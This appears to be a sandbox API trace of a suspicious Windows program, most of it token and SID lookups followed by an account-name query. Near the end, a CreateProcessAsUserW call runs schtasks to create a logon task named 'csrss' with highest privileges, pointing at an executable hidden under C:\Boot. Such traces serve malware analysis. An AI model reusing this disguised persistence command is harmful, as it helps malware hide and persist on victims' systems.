GetTokenInformation (in: TokenHandle=0x248, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebcd80 | out: TokenInformation=0x0, ReturnLength=0xebcd80) returned 0 [0068.099] GetLastError () returned 0x7a [0068.099] malloc (_Size=0x2c) returned 0xee200 [0068.099] GetTokenInformation (in: TokenHandle=0x248, TokenInformationClass=0x1, TokenInformation=0xee200, TokenInformationLength=0x2c, ReturnLength=0xebcd80 | out: TokenInformation=0xee200, ReturnLength=0xebcd80) returned 1 [0068.099] IsValidSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.099] GetLengthSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0068.099] malloc (_Size=0x1c) returned 0xeff30 [0068.099] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff30, pSourceSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff30*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.099] GetSidIdentifierAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee212 [0068.099] malloc (_Size=0x18) returned 0xeef20 [0068.099] _ultow (in: _Dest=0x5, _Radix=15453152 | out: _Dest=0x5) returned="5" [0068.099] malloc (_Size=0x18) returned 0xeef00 [0068.099] malloc (_Size=0x18) returned 0xef020 [0068.100] SysStringLen (param_1="S-1-") returned 0x4 [0068.100] SysStringLen (param_1="5") returned 0x1 [0068.100] memcpy (in: _Dst=0x381238, _Src=0x381058, _Size=0xa | out: _Dst=0x381238) returned 0x381238 [0068.100] memcpy (in: _Dst=0x381240, _Src=0x381148, _Size=0x4 | out: _Dst=0x381240) returned 0x381240 [0068.100] free (_Block=0xeef20) [0068.100] free (_Block=0xeef00) [0068.100] GetSidSubAuthorityCount (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee211 [0068.100] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee218 [0068.100] _ultow (in: _Dest=0x15, _Radix=15453152 | out: _Dest=0x15) returned="21" [0068.100] malloc (_Size=0x18) returned 0xeef00 [0068.100] malloc (_Size=0x18) returned 0xeef20 [0068.100] SysStringLen (param_1="S-1-5") returned 0x5 [0068.100] SysStringLen (param_1="-") returned 0x1 [0068.100] memcpy (in: _Dst=0x381148, _Src=0x381238, _Size=0xc | out: _Dst=0x381148) returned 0x381148 [0068.100] memcpy (in: _Dst=0x381152, _Src=0x381058, _Size=0x4 | out: _Dst=0x381152) returned 0x381152 [0068.100] free (_Block=0xef020) [0068.100] free (_Block=0xeef00) [0068.100] malloc (_Size=0x18) returned 0xeef00 [0068.101] malloc (_Size=0x18) returned 0xef020 [0068.101] SysStringLen (param_1="S-1-5-") returned 0x6 [0068.101] SysStringLen (param_1="21") returned 0x2 [0068.101] memcpy (in: _Dst=0x381058, _Src=0x381148, _Size=0xe | out: _Dst=0x381058) returned 0x381058 [0068.101] memcpy (in: _Dst=0x381064, _Src=0x381238, _Size=0x6 | out: _Dst=0x381064) returned 0x381064 [0068.101] free (_Block=0xeef20) [0068.101] free (_Block=0xeef00) [0068.101] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee21c [0068.101] _ultow (in: _Dest=0xfb7f942f, _Radix=15453152 | out: _Dest=0xfb7f942f) returned="4219442223" [0068.101] malloc (_Size=0x18) returned 0xeef00 [0068.101] malloc (_Size=0x18) returned 0xeef20 [0068.101] SysStringLen (param_1="S-1-5-21") returned 0x8 [0068.101] SysStringLen (param_1="-") returned 0x1 [0068.101] memcpy (in: _Dst=0x381238, _Src=0x381058, _Size=0x12 | out: _Dst=0x381238) returned 0x381238 [0068.101] memcpy (in: _Dst=0x381248, _Src=0x381148, _Size=0x4 | out: _Dst=0x381248) returned 0x381248 [0068.101] free (_Block=0xef020) [0068.101] free (_Block=0xeef00) [0068.101] malloc (_Size=0x18) returned 0xeef00 [0068.101] malloc (_Size=0x18) returned 0xef020 [0068.102] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0068.102] SysStringLen (param_1="4219442223") returned 0xa [0068.102] memcpy (in: _Dst=0x337aa8, _Src=0x381238, _Size=0x14 | out: _Dst=0x337aa8) returned 0x337aa8 [0068.102] memcpy (in: _Dst=0x337aba, _Src=0x381058, _Size=0x16 | out: _Dst=0x337aba) returned 0x337aba [0068.102] free (_Block=0xeef20) [0068.102] free (_Block=0xeef00) [0068.102] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee220 [0068.102] _ultow (in: _Dest=0xfbc24a41, _Radix=15453152 | out: _Dest=0xfbc24a41) returned="4223814209" [0068.103] malloc (_Size=0x18) returned 0xeef00 [0068.103] malloc (_Size=0x18) returned 0xeef20 [0068.103] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0068.103] SysStringLen (param_1="-") returned 0x1 [0068.103] memcpy (in: _Dst=0x337af8, _Src=0x337aa8, _Size=0x28 | out: _Dst=0x337af8) returned 0x337af8 [0068.103] memcpy (in: _Dst=0x337b1e, _Src=0x381238, _Size=0x4 | out: _Dst=0x337b1e) returned 0x337b1e [0068.103] free (_Block=0xef020) [0068.103] free (_Block=0xeef00) [0068.103] malloc (_Size=0x18) returned 0xeef00 [0068.103] malloc (_Size=0x18) returned 0xef020 [0068.103] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0068.103] SysStringLen (param_1="4223814209") returned 0xa [0068.103] memcpy (in: _Dst=0x34da68, _Src=0x337af8, _Size=0x2a | out: _Dst=0x34da68) returned 0x34da68 [0068.103] memcpy (in: _Dst=0x34da90, _Src=0x381238, _Size=0x16 | out: _Dst=0x34da90) returned 0x34da90 [0068.103] free (_Block=0xeef20) [0068.103] free (_Block=0xeef00) [0068.103] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee224 [0068.103] _ultow (in: _Dest=0xe49636b4, _Radix=15453152 | out: _Dest=0xe49636b4) returned="3835049652" [0068.103] malloc (_Size=0x18) returned 0xeef00 [0068.104] malloc (_Size=0x18) returned 0xeef20 [0068.104] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0068.104] SysStringLen (param_1="-") returned 0x1 [0068.104] memcpy (in: _Dst=0x34db78, _Src=0x34da68, _Size=0x3e | out: _Dst=0x34db78) returned 0x34db78 [0068.104] memcpy (in: _Dst=0x34dbb4, _Src=0x381238, _Size=0x4 | out: _Dst=0x34dbb4) returned 0x34dbb4 [0068.104] free (_Block=0xef020) [0068.104] free (_Block=0xeef00) [0068.104] malloc (_Size=0x18) returned 0xeef00 [0068.104] malloc (_Size=0x18) returned 0xef020 [0068.104] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0068.104] SysStringLen (param_1="3835049652") returned 0xa [0068.104] memcpy (in: _Dst=0x34da68, _Src=0x34db78, _Size=0x40 | out: _Dst=0x34da68) returned 0x34da68 [0068.104] memcpy (in: _Dst=0x34daa6, _Src=0x381238, _Size=0x16 | out: _Dst=0x34daa6) returned 0x34daa6 [0068.104] free (_Block=0xeef20) [0068.104] free (_Block=0xeef00) [0068.104] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee228 [0068.104] _ultow (in: _Dest=0x3e8, _Radix=15453152 | out: _Dest=0x3e8) returned="1000" [0068.104] malloc (_Size=0x18) returned 0xeef00 [0068.105] malloc (_Size=0x18) returned 0xeef20 [0068.105] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0068.105] SysStringLen (param_1="-") returned 0x1 [0068.105] memcpy (in: _Dst=0x34db78, _Src=0x34da68, _Size=0x54 | out: _Dst=0x34db78) returned 0x34db78 [0068.105] memcpy (in: _Dst=0x34dbca, _Src=0x381238, _Size=0x4 | out: _Dst=0x34dbca) returned 0x34dbca [0068.105] free (_Block=0xef020) [0068.105] free (_Block=0xeef00) [0068.105] malloc (_Size=0x18) returned 0xeef00 [0068.105] malloc (_Size=0x18) returned 0xef020 [0068.105] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0068.105] SysStringLen (param_1="1000") returned 0x4 [0068.105] memcpy (in: _Dst=0x34da68, _Src=0x34db78, _Size=0x56 | out: _Dst=0x34da68) returned 0x34da68 [0068.105] memcpy (in: _Dst=0x34dabc, _Src=0x381238, _Size=0xa | out: _Dst=0x34dabc) returned 0x34dabc [0068.105] free (_Block=0xeef20) [0068.105] free (_Block=0xeef00) [0068.105] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0068.105] malloc (_Size=0x5e) returned 0xf0800 [0068.105] free (_Block=0xef020) [0068.105] malloc (_Size=0x18) returned 0xef020 [0068.107] free (_Block=0xf0800) [0068.107] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 0 [0068.109] GetLastError () returned 0x7a [0068.109] malloc (_Size=0x14) returned 0xeef00 [0068.109] malloc (_Size=0x16) returned 0xeef20 [0068.109] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xeef00, cchName=0xebcca4, ReferencedDomainName=0xeef20, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name="kEecfMwgj", cchName=0xebcca4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 1 [0068.110] malloc (_Size=0x18) returned 0xef040 [0068.110] malloc (_Size=0x18) returned 0xef0a0 [0068.110] free (_Block=0xeef00) [0068.110] free (_Block=0xeef20) [0068.110] free (_Block=0xeff30) [0068.110] free (_Block=0xef0a0) [0068.110] free (_Block=0xef040) [0068.111] free (_Block=0xef020) [0068.111] free (_Block=0xee200) [0068.111] GetVersionExW (in: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x9d14, dwMinorVersion=0x32a120, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0068.111] GetTokenInformation (in: TokenHandle=0x248, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebce18 | out: TokenInformation=0x0, ReturnLength=0xebce18) returned 0 [0068.111] GetLastError () returned 0x7a [0068.111] malloc (_Size=0x2c) returned 0xee240 [0068.111] GetTokenInformation (in: TokenHandle=0x248, TokenInformationClass=0x1, TokenInformation=0xee240, TokenInformationLength=0x2c, ReturnLength=0xebce18 | out: TokenInformation=0xee240, ReturnLength=0xebce18) returned 1 [0068.111] IsValidSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.111] GetLengthSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0068.111] malloc (_Size=0x1c) returned 0xeff30 [0068.111] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff30, pSourceSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff30*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.112] GetSidIdentifierAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee252 [0068.112] malloc (_Size=0x18) returned 0xef020 [0068.112] _ultow (in: _Dest=0x5, _Radix=15453168 | out: _Dest=0x5) returned="5" [0068.112] malloc (_Size=0x18) returned 0xef040 [0068.112] malloc (_Size=0x18) returned 0xef0a0 [0068.112] SysStringLen (param_1="S-1-") returned 0x4 [0068.112] SysStringLen (param_1="5") returned 0x1 [0068.112] memcpy (in: _Dst=0x381058, _Src=0x381148, _Size=0xa | out: _Dst=0x381058) returned 0x381058 [0068.112] memcpy (in: _Dst=0x381060, _Src=0x381238, _Size=0x4 | out: _Dst=0x381060) returned 0x381060 [0068.112] free (_Block=0xef020) [0068.112] free (_Block=0xef040) [0068.112] GetSidSubAuthorityCount (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee251 [0068.112] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee258 [0068.112] _ultow (in: _Dest=0x15, _Radix=15453168 | out: _Dest=0x15) returned="21" [0068.112] malloc (_Size=0x18) returned 0xef040 [0068.112] malloc (_Size=0x18) returned 0xef020 [0068.112] SysStringLen (param_1="S-1-5") returned 0x5 [0068.112] SysStringLen (param_1="-") returned 0x1 [0068.113] memcpy (in: _Dst=0x381238, _Src=0x381058, _Size=0xc | out: _Dst=0x381238) returned 0x381238 [0068.113] memcpy (in: _Dst=0x381242, _Src=0x381148, _Size=0x4 | out: _Dst=0x381242) returned 0x381242 [0068.113] free (_Block=0xef0a0) [0068.113] free (_Block=0xef040) [0068.113] malloc (_Size=0x18) returned 0xef040 [0068.113] malloc (_Size=0x18) returned 0xef0a0 [0068.113] SysStringLen (param_1="S-1-5-") returned 0x6 [0068.113] SysStringLen (param_1="21") returned 0x2 [0068.113] memcpy (in: _Dst=0x381148, _Src=0x381238, _Size=0xe | out: _Dst=0x381148) returned 0x381148 [0068.113] memcpy (in: _Dst=0x381154, _Src=0x381058, _Size=0x6 | out: _Dst=0x381154) returned 0x381154 [0068.113] free (_Block=0xef020) [0068.113] free (_Block=0xef040) [0068.113] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee25c [0068.113] _ultow (in: _Dest=0xfb7f942f, _Radix=15453168 | out: _Dest=0xfb7f942f) returned="4219442223" [0068.113] malloc (_Size=0x18) returned 0xef040 [0068.113] malloc (_Size=0x18) returned 0xef020 [0068.114] SysStringLen (param_1="S-1-5-21") returned 0x8 [0068.114] SysStringLen (param_1="-") returned 0x1 [0068.114] memcpy (in: _Dst=0x381058, _Src=0x381148, _Size=0x12 | out: _Dst=0x381058) returned 0x381058 [0068.114] memcpy (in: _Dst=0x381068, _Src=0x381238, _Size=0x4 | out: _Dst=0x381068) returned 0x381068 [0068.114] free (_Block=0xef0a0) [0068.114] free (_Block=0xef040) [0068.114] malloc (_Size=0x18) returned 0xef040 [0068.114] malloc (_Size=0x18) returned 0xef0a0 [0068.114] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0068.114] SysStringLen (param_1="4219442223") returned 0xa [0068.114] memcpy (in: _Dst=0x337aa8, _Src=0x381058, _Size=0x14 | out: _Dst=0x337aa8) returned 0x337aa8 [0068.114] memcpy (in: _Dst=0x337aba, _Src=0x381148, _Size=0x16 | out: _Dst=0x337aba) returned 0x337aba [0068.114] free (_Block=0xef020) [0068.114] free (_Block=0xef040) [0068.114] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee260 [0068.114] _ultow (in: _Dest=0xfbc24a41, _Radix=15453168 | out: _Dest=0xfbc24a41) returned="4223814209" [0068.114] malloc (_Size=0x18) returned 0xef040 [0068.114] malloc (_Size=0x18) returned 0xef020 [0068.115] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0068.115] SysStringLen (param_1="-") returned 0x1 [0068.115] memcpy (in: _Dst=0x337af8, _Src=0x337aa8, _Size=0x28 | out: _Dst=0x337af8) returned 0x337af8 [0068.115] memcpy (in: _Dst=0x337b1e, _Src=0x381058, _Size=0x4 | out: _Dst=0x337b1e) returned 0x337b1e [0068.115] free (_Block=0xef0a0) [0068.115] free (_Block=0xef040) [0068.115] malloc (_Size=0x18) returned 0xef040 [0068.115] malloc (_Size=0x18) returned 0xef0a0 [0068.115] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0068.115] SysStringLen (param_1="4223814209") returned 0xa [0068.115] memcpy (in: _Dst=0x34db78, _Src=0x337af8, _Size=0x2a | out: _Dst=0x34db78) returned 0x34db78 [0068.115] memcpy (in: _Dst=0x34dba0, _Src=0x381058, _Size=0x16 | out: _Dst=0x34dba0) returned 0x34dba0 [0068.115] free (_Block=0xef020) [0068.115] free (_Block=0xef040) [0068.115] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee264 [0068.115] _ultow (in: _Dest=0xe49636b4, _Radix=15453168 | out: _Dest=0xe49636b4) returned="3835049652" [0068.115] malloc (_Size=0x18) returned 0xef040 [0068.115] malloc (_Size=0x18) returned 0xef020 [0068.116] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0068.116] SysStringLen (param_1="-") returned 0x1 [0068.116] memcpy (in: _Dst=0x34da68, _Src=0x34db78, _Size=0x3e | out: _Dst=0x34da68) returned 0x34da68 [0068.116] memcpy (in: _Dst=0x34daa4, _Src=0x381058, _Size=0x4 | out: _Dst=0x34daa4) returned 0x34daa4 [0068.116] free (_Block=0xef0a0) [0068.116] free (_Block=0xef040) [0068.116] malloc (_Size=0x18) returned 0xef040 [0068.116] malloc (_Size=0x18) returned 0xef0a0 [0068.116] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0068.116] SysStringLen (param_1="3835049652") returned 0xa [0068.116] memcpy (in: _Dst=0x34db78, _Src=0x34da68, _Size=0x40 | out: _Dst=0x34db78) returned 0x34db78 [0068.116] memcpy (in: _Dst=0x34dbb6, _Src=0x381058, _Size=0x16 | out: _Dst=0x34dbb6) returned 0x34dbb6 [0068.116] free (_Block=0xef020) [0068.116] free (_Block=0xef040) [0068.116] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee268 [0068.116] _ultow (in: _Dest=0x3e8, _Radix=15453168 | out: _Dest=0x3e8) returned="1000" [0068.116] malloc (_Size=0x18) returned 0xef040 [0068.116] malloc (_Size=0x18) returned 0xef020 [0068.116] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0068.117] SysStringLen (param_1="-") returned 0x1 [0068.117] memcpy (in: _Dst=0x34da68, _Src=0x34db78, _Size=0x54 | out: _Dst=0x34da68) returned 0x34da68 [0068.117] memcpy (in: _Dst=0x34daba, _Src=0x381058, _Size=0x4 | out: _Dst=0x34daba) returned 0x34daba [0068.117] free (_Block=0xef0a0) [0068.117] free (_Block=0xef040) [0068.117] malloc (_Size=0x18) returned 0xef040 [0068.117] malloc (_Size=0x18) returned 0xef0a0 [0068.117] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0068.117] SysStringLen (param_1="1000") returned 0x4 [0068.117] memcpy (in: _Dst=0x34db78, _Src=0x34da68, _Size=0x56 | out: _Dst=0x34db78) returned 0x34db78 [0068.117] memcpy (in: _Dst=0x34dbcc, _Src=0x381058, _Size=0xa | out: _Dst=0x34dbcc) returned 0x34dbcc [0068.117] free (_Block=0xef020) [0068.117] free (_Block=0xef040) [0068.117] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0068.118] malloc (_Size=0x5e) returned 0xf0800 [0068.118] free (_Block=0xef0a0) [0068.118] malloc (_Size=0x18) returned 0xef0a0 [0068.118] free (_Block=0xf0800) [0068.118] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 0 [0068.119] GetLastError () returned 0x7a [0068.119] malloc (_Size=0x14) returned 0xef040 [0068.119] malloc (_Size=0x16) returned 0xef020 [0068.119] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xef040, cchName=0xebccb4, ReferencedDomainName=0xef020, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name="kEecfMwgj", cchName=0xebccb4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 1 [0068.120] malloc (_Size=0x18) returned 0xeef20 [0068.120] malloc (_Size=0x18) returned 0xeef00 [0068.120] free (_Block=0xef040) [0068.120] free (_Block=0xef020) [0068.120] free (_Block=0xeff30) [0068.120] free (_Block=0xeef00) [0068.120] free (_Block=0xeef20) [0068.121] free (_Block=0xef0a0) [0068.121] free (_Block=0xee240) [0068.121] malloc (_Size=0x48) returned 0xed270 [0068.121] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefced0000 [0068.167] GetProcAddress (hModule=0x7fefced0000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefced1080 [0068.168] GetProcAddress (hModule=0x7fefced0000, lpProcName="CreateEnvironmentBlock") returned 0x7fefced10b0 [0068.168] malloc (_Size=0x18) returned 0xef0a0 [0068.168] CreateEnvironmentBlock () returned 0x1 [0068.175] memcpy (in: _Dst=0xebcf20, _Src=0xebdcf0, _Size=0x68 | out: _Dst=0xebcf20) returned 0xebcf20 [0068.175] malloc (_Size=0x18) returned 0xeef20 [0068.175] CreateProcessAsUserW (in: hToken=0x234, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"csrss\" /sc ONLOGON /tr \"'C:\\Boot\\cs-CZ\\csrss.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x37b3d0, lpCurrentDirectory=0x0, lpStartupInfo=0xebcf20*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xebcdc0 | out: lpCommandLine="schtasks.exe /create /tn \"csrss\" /sc ONLOGON /tr \"'C:\\Boot\\cs-CZ\\csrss.exe'\" /rl HIGHEST /f", lpProcessInformation=0xebcdc0*(hProcess=0x2f8, hThread=0x2fc, dwProcessId=0xf84, dwThreadId=0xf88)) returned 1 [0068.181] CloseHandle (hObject=0x2f8) returned 1 [0068.181] CloseHandle (hObject=0x2fc) returned 1 [0068.182] free (_Block=0xeef20) [0068.182] DestroyEnvironmentBlock () returned 0x1 [0068.182] malloc (_Size=0x48) returned 0xed2c0 [0068.182] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x51b91800, dwHighDateTime=0x1d9eb0c)) [0068.182] SetEvent (hEvent=0x1f0) returned 1 [0068.182] CloseHandle (hObject=0x248) returned 1 [0068.182] CloseHandle (hObject=0x234) returned 1 [0068.275] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4) returned 0x31da80 [0068.275] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x31da80, pulNumLanguages=0xebe4d0 | out: pulNumLanguages=0xebe4d0) returned 1 [0068.275] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da80 | out: hHeap=0x2e0000) returned 1 [0068.642] SetLastError (dwErrCode=0x0) [0068.642] 